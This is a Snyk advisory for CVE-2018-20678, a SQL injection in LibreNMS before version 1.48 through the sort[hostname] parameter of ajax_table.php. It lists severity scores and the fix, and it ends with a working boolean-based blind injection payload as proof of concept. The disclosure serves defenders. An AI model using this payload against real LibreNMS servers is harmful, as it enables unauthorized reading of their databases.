SQL Injection Affecting librenms/librenms package, versions <1.48
Snyk CVSS
Attack Complexity
Low
Confidentiality
High
Threat Intelligence
Exploit Maturity
Mature
EPSS
0.1% (39th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PHP-LIBRENMSLIBRENMS-174024
- published 29 Mar 2019
- disclosed 28 Mar 2019
- credit Dariusz Gońda, CERT ENEA member
Introduced: 28 Mar 2019
CVE-2018-20678 Open this link in a new tabHow to fix?
Upgrade librenms/librenms
to version 1.48 or higher.
Overview
librenms/librenms is a fully featured network monitoring system that provides a wealth of features and device support.
Affected versions of this package are vulnerable to SQL Injection via the html/ajax_table.php sort[hostname] parameter, exploitable by authenticated users during a search.
PoC:
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause
Payload: current=1&rowCount=50&sort[hostname]=asc,(SELECT (CASE WHEN (7936=7936) THEN 1 ELSE
7936*(SELECT 7936 FROM INFORMATION_SCHEMA.CHARACTER_SETS)
END))&searchPhrase=&id=devices&format=list_detail&searchquery=&os=&version=&hardware=&features=&location=&type=printer&state=&disabled=&ignore=&group=